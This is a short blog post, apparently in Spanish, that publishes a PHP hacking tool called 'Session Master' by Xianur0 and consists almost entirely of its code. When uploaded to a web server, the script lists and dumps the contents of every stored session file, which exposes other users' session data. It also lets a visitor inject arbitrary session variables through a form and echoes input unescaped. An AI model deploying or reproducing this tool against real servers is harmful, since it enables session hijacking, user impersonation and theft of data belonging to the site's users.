Session Master By Xianur0
Posted on 16:55 by Xianur0
<html><title>Session Master By Xianur0</title><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center>
<h1>Session Master By Xianur0</h1><br><img alt height="100" src="http://img59.imageshack.us/img59/9729/xianur0oq5.gif" width="100"><br><br><script type="text/Javascript">function expandcollapse (postid) { whichpost = document.getElementById(postid);if (whichpost.className=="postshown") { whichpost.className="posthidden"; } else { whichpost.className="postshown"; } }</script><style>.posthidden {display:none} .postshown {display:inline}</style>
<?php
@session_start();
function buscar() {
$tmp = @session_save_path();
print "<b>Directory of sessions: $tmp\n</b><br>";
$dir = @opendir($tmp);
while ($session = @readdir($dir))
{
if(eregi("sess_",$session)) {
$gestor = @fopen("$tmp/$session", "r");
$contenido = @fread($gestor, filesize("$tmp/$session"));
$contenido = @eregi_replace(';', ";\n<br><br>Session: ", $contenido);
fclose($gestor);
echo "<br>".$session."<br>\n";
$i++;
echo '<a href="javascript:expandcollapse('.$i.')">Show/Hide Code</a><br><span class="posthidden" id="'.$i.'">
<br/><table height=1 cellSpacing=0 cellPadding=5 width="100%" bgColor=#FF0000 borderColor=#FF0000 border=1><tr><th>Session: '.$contenido.'</th></tr></table></span><br>';
}
}}
function definir() {
$name = $_POST['name'];
$contenido = $_POST['valor'];
$_SESSION[$name] = $contenido;
}
function definidos() {
foreach ($_SESSION as $name => $valor)
{
print "<b>Name:</b> $name\n<br><b>Value:</b> $valor\n<br><br>";
}
}
function menu() {
$uri = $_SERVER['REQUEST_URI'];
print "<h2>Define SESSION</h2><br><form action='".$uri."?&action=definir' method='POST'>Name: <input type='text' name='name'><br>Value: <input type='text' name='valor'><br><input type='submit' value='Set!'></form><h2>Information:</h2><b><a href='$uri?&action=definidos'>Defined Sessions</a><br><a href='$uri?&action=buscar'>Sessions On The Server</a><b>";
}
$action = $_GET['action'];
switch ($action) {
case buscar:
buscar();
break;
case definir:
definir();
break;
case definidos:
definidos();
break;
default:
menu();
break;
}
?>
0 comentarios:
Publicar un comentario